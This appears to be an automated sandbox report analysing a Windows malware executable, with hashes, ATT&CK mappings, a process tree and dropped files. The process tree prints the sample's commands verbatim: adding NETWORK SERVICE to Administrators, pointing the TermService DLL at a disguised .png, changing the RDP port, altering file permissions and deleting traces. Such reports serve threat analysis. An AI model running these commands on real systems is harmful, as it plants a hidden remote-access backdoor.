e2b372effc4c426a1e63d2629bd565eabeeaf042b9e0aea11701e09f42921a3c

Analysis

max time kernel
6s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22-12-2023 01:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

43a5e55b1251affee0cf7494ac9c63b4.exe
Size

4.3MB
MD5

43a5e55b1251affee0cf7494ac9c63b4
SHA1

4a53bd2c188cf869b2a81b047940faf1ea03e1cb
SHA256

e2b372effc4c426a1e63d2629bd565eabeeaf042b9e0aea11701e09f42921a3c
SHA512

f1dde143fd0be1242a6d211770a60574929283e953262459f9898ac7822e0652aa7fe323fe1e3af36a6082587d36382e7e42d5a4dee74a111800027085e40343
SSDEEP

98304:pkucM0/VMuGOcsqLpBX1P3Xhm6SrnsQ2BUotyFoAqae:EM0/COsX1k6AnsFBUQyFoAq

Score

9^/10

discovery exploit

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid	Process
1280	icacls.exe
320	icacls.exe
1920	icacls.exe
2948	icacls.exe
2824	icacls.exe
2940	takeown.exe
348	icacls.exe
1320	icacls.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
2948	icacls.exe
2940	takeown.exe
2824	icacls.exe
348	icacls.exe
1320	icacls.exe
1280	icacls.exe
320	icacls.exe
1920	icacls.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2272	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

43a5e55b1251affee0cf7494ac9c63b4.exepowershell.execsc.exe

description	pid	Process	procid_target
PID 2496 wrote to memory of 2740	2496	43a5e55b1251affee0cf7494ac9c63b4.exe	30
PID 2496 wrote to memory of 2740	2496	43a5e55b1251affee0cf7494ac9c63b4.exe	30
PID 2496 wrote to memory of 2740	2496	43a5e55b1251affee0cf7494ac9c63b4.exe	30
PID 2496 wrote to memory of 2740	2496	43a5e55b1251affee0cf7494ac9c63b4.exe	30
PID 2740 wrote to memory of 2712	2740	powershell.exe	31
PID 2740 wrote to memory of 2712	2740	powershell.exe	31
PID 2740 wrote to memory of 2712	2740	powershell.exe	31
PID 2740 wrote to memory of 2712	2740	powershell.exe	31
PID 2712 wrote to memory of 2988	2712	csc.exe	32
PID 2712 wrote to memory of 2988	2712	csc.exe	32
PID 2712 wrote to memory of 2988	2712	csc.exe	32
PID 2712 wrote to memory of 2988	2712	csc.exe	32
PID 2740 wrote to memory of 2708	2740	powershell.exe	36
PID 2740 wrote to memory of 2708	2740	powershell.exe	36
PID 2740 wrote to memory of 2708	2740	powershell.exe	36
PID 2740 wrote to memory of 2708	2740	powershell.exe	36

C:\Users\Admin\AppData\Local\Temp\43a5e55b1251affee0cf7494ac9c63b4.exe
"C:\Users\Admin\AppData\Local\Temp\43a5e55b1251affee0cf7494ac9c63b4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\car5-tg7.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES25AB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC259A.tmp"
      4⤵
      PID:2988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    PID:2708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    PID:1760
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2824
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:3056
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:840
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:1496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:312
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1320
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1280
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:320
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1920
- - C:\Windows\SysWOW64\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2948
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
1⤵
PID:2264

C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
1⤵
PID:628
- C:\Windows\SysWOW64\net.exe
  net start rdpdr
  2⤵
  PID:2072

C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
1⤵
PID:2576
- C:\Windows\SysWOW64\net.exe
  net start TermService
  2⤵
  PID:2052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
1⤵
PID:1940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
1⤵
PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES25AB.tmp

Filesize
1KB

MD5
0bc316b88124442619532ea007bd7a5b

SHA1
55854867fcc11f9dfbb80b5d94347808a306b48d

SHA256
e2da5ad6ba88af52a5433f1cf7c21b0760a2c90274a1764be32efa4882ea0fc2

SHA512
f6cb2110e1bc35ff58f5d0e9724134d999dba6cfc295a8c481d33680a0c1a99075767113d82acfbea59b18b7776d1d1933788fdece541f5ba21504296d0926cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\car5-tg7.dll

Filesize
3KB

MD5
b317d526a0ee0ac9d8ccdb320a59aa58

SHA1
bcea8daddd2224bed2282597c1f6b4d985d95886

SHA256
b58152dccb3b2a500ec007ba48c1d8fdf1b6f3f8bf03f5dca2db14f67e5b5511

SHA512
95035cb30f8f76643c26160264d0006e349be16db0cd0a8d355c82f376b7e5375d00d3a9b154615c0398840ba6b40779f10104066cd8aae7616dbdbeee4a20a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\car5-tg7.pdb

Filesize
7KB

MD5
58e4f3608379b302f5939c95327dceea

SHA1
3d9feb8585072b815b76307659431eced779df74

SHA256
0e99c7ab88e99a0dcb46e675ddc903fc0d1f29b2afb004106beaba818eb61061

SHA512
3f75887673105b63fca607e99ee7b517dc2148bed3ecdeb4d370b8c8e048904168543645586f4c0140a6509abd97c29e6576a17b9fcd68ad1c4d5be8af71bb4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
19KB

MD5
68a381d9e9e25dafcd117f36b25f677a

SHA1
186e7223b7181d6ad82000e6b888b7b859e7486c

SHA256
49c248ddd20c5ecf3eb0be0b1ff69e9ec57d47e7d9106187aede6afc9f4ffca8

SHA512
9ad3e2525ea37c22873ffddb67facb6a635037b1f3926e4a93db2b3e3d2ea0cb262bb1ed1afde087d074360ba1a90db144e7fce82abef0a2d59898a494a88d60

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ce73e10d416d8a4430248c32256fdc72

SHA1
4a501150b8b6f822d0553e439aceb1b4766dff4f

SHA256
9ac9a375742ba87d0ef8a10c2975f7d01790757d8051e2bed9bfd9a7bb0500b3

SHA512
5d5381b0258781720a7bc039e04e0ce4a65752db5c834ae272f345064f71c679b05afd9032f825cc839eaca04378776061daa8d421f40f79fabab2e4f7bb6456

Download Submit
C:\Windows\SysWOW64\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC259A.tmp

Filesize
652B

MD5
6d170dc8fffed91d71f5355ff619f154

SHA1
308caccf2091aa204d2cb5138f08aab473ebba0b

SHA256
bcbe2fcee76a6cd4e06d66ab6d71b6889598c4c1f9fa9d654851c8e574d5b625

SHA512
3b01d8900564bb44723eecc772df9c2fb9143ec0875f84ac78f422635bb9db951a40fe5d715bab6249685e373e06cac49153fa442edfd0cba099a678558caa87

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\car5-tg7.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\car5-tg7.cmdline

Filesize
309B

MD5
1efd4ccc016355c30be7932fcc9467dc

SHA1
7c71df0cfc9c3a2504b2538f4381eec805407fc0

SHA256
309ad2e20dadc50b4cc7c14d286e2f14b4acf61b8dce3efe77e5d3694bb57c00

SHA512
26a4fe8c7e33a771fa16d517d415353135327dad5e1494ec27df7157210db11a0e3d85890a96efb09034eda0fb7ef7bd308a274906bd818e24ebc2e56fa13f06

Download Submit
memory/1760-60-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/1760-55-0x0000000002AE0000-0x0000000002B20000-memory.dmp

Filesize
256KB

Download
memory/1760-57-0x0000000002AE0000-0x0000000002B20000-memory.dmp

Filesize
256KB

Download
memory/1760-59-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/1760-58-0x0000000002AE0000-0x0000000002B20000-memory.dmp

Filesize
256KB

Download
memory/1760-56-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2152-45-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/2152-44-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2152-46-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2152-48-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2496-3-0x0000000007D80000-0x0000000008184000-memory.dmp

Filesize
4.0MB

Download
memory/2496-2-0x0000000004C40000-0x0000000005042000-memory.dmp

Filesize
4.0MB

Download
memory/2496-1-0x0000000004830000-0x0000000004C37000-memory.dmp

Filesize
4.0MB

Download
memory/2496-63-0x0000000007940000-0x0000000007980000-memory.dmp

Filesize
256KB

Download
memory/2496-62-0x0000000074750000-0x0000000074E3E000-memory.dmp

Filesize
6.9MB

Download
memory/2496-4-0x0000000000400000-0x0000000002F51000-memory.dmp

Filesize
43.3MB

Download
memory/2496-0-0x0000000004830000-0x0000000004C37000-memory.dmp

Filesize
4.0MB

Download
memory/2496-5-0x0000000074750000-0x0000000074E3E000-memory.dmp

Filesize
6.9MB

Download
memory/2496-7-0x0000000007940000-0x0000000007980000-memory.dmp

Filesize
256KB

Download
memory/2496-6-0x0000000007940000-0x0000000007980000-memory.dmp

Filesize
256KB

Download
memory/2496-47-0x0000000004830000-0x0000000004C37000-memory.dmp

Filesize
4.0MB

Download
memory/2708-38-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2708-37-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2708-36-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2740-13-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2740-12-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2740-72-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download
memory/2740-73-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

Filesize
5.7MB

Download